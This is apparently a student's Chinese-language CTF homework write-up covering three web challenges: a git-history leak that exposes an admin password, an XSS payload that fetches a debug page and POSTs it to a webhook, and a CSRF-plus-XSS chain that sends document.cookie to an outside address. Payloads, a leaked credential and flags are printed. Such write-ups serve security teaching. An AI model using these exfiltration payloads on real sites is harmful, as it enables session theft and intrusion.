--- tags: 資訊安全實務 --- # HW4 ![](https://i.imgur.com/a45BiXA.png) ## The Stupid Content Tracker 這題題目是要我們去訪問在edu-ctf.csie.org:44302的.git資料夾,但是如果直接點進去的話會顯示權限不夠,配合上題目要求我們看的那個投影片就可以知道這題是一個git leak的題目,所以只要用工具就能夠還原.git資料夾了,因此我用了scrabble來去還原。 在還原資料夾後就看到有個admin_portal_non_production的資料夾,裡面有index.php,並且裡面的code為```echo getenv("FLAG");```,但是要進去這個php需要先登入: * 首先我們並不知道帳號密碼,git資料夾裡也沒有 * 如果登不進去那大概就是可分為,git曾經上傳過密碼或者傳過FLAG,所以我輸入了.git來去看紀錄 ![](https://i.imgur.com/ykK1CMt.png) * 可以發現確實他在以前的版本曾經把密碼上傳過,後來又刪掉了,因此我們只要回到之前的版本便能夠拿到帳號密碼 * 利用指令git reset --hard commit_id來回復版本 * 之後就順利得到帳號與密碼,就可以登入來獲得FLAG * thewebmaster:ols2Xrmdja7XaaMP FLAG: ``` FLAG{_man_git_THe_StUPid_CONtEnt_TrAcKEr......} ``` ## Zero Note Revenge 這題是把課堂練習題的admin改成httpOnly,所以我們在做XSS送給admin時無法直接用js存取cookie,然後題目提示了我們可以試者存取不存在的note的位置,摁...,他既然都這樣提示了我就去看了會發生甚麼事,結果就不可思議的看到了我們request的header,裡面還有coolkie,既然如此我們的目標就是要讓存取不存在note的response的內容傳送送到我們看的到的地方了,步驟如下 * 寫一個XSS,讓admin存取不存在note的位置 * 收到response後送到webhook * XSS的內容如下 ```htmlembedded <script> fetch('https://zero-note.edu-ctf.bookgin.tw:44301/note/123') .then(function(response) { return response.text(); }) .then(function(res_text) { fetch("https://webhook.site/cb4c84d5-259e-470b-87ef-c3ed9be0c265", { body: res_text, headers: { 'user-agent': 'Mozilla/4.0', 'content-type': 'application/text' }, method: 'POST', mode: 'no-cors', }) }); </script> ``` 本來以為是要拿cookie登進去後找FLAG,結果FLAG就在回傳的response裡面,那這邊說一下原本我送到webhook的部份是跟課堂練習題一樣用```fetch("web address?"+res_text)```的形式去送,結果一直找不到cookie或FLAG之類有用的東西,經過同學提醒後才發現,url encode後單引號會變成&#34,那#後面的就會被當作fragment不會被送出來,所以才會讓我看不到後面的內容,因此最後改成用POST送到webhook的位置。 FLAG: ``` FLAG{Oh_I_f0rg0t_To_disAble_The_deBug_PagE} ``` ## Zero Meme 這題的思路呢,是利用LAX+POST 2 minute的那個特性來實現CSRF,題目提供了幾個資訊 * admin再點我們的link時會重新登入,換句話說就是session會刷新,因此兩分鐘內送的POST會帶有COOKIE * flag在因此兩分鐘內送的POST會帶有COOKIE裡面 其實一開始看到這些資訊我就大概知道要做CSRF了,但我不知到要怎麼拿到cookie阿,那個網站看起來只能放網址然後送出,然後我就想了很久後看到了: ![](https://i.imgur.com/WcDw6Zf.png) 這面這圖片表示我們送的網址會被接在img src後面,然後我就想說,啊這樣我是不是可以做XSS,就在輸入網址的地方打上了,跟課堂上note練習題一樣思路的XSS ``` https://OWO"><script>fetch("web address?"+document.cookie)</script><" ``` 發現它就會送cookie到我的webhook上...,所以我就自己寫一個網站會讓點到的人自動觸發這題的Update your favorite Meme:的submit,送給admin的話就會變成一個CSRF,然後會對自己做XSS的一個功能後,就成功拿到FLAG了,[網站CODE](https://github.com/Risteel/Risteel.github.io/blob/main/index.html),然後在我寫writeup的時間點呢我突然發現,網址怎麼突然從```edu-ctf.csie.org:44303/me```變成```zero-meme.edu-ctf.bookgin.tw:44303/me```,是發生甚麼事了www FLAG: ``` FLAG{Will_samesite_cookies_by_default_puts_the_final_nail_in_the_CSRF_coffin?} ```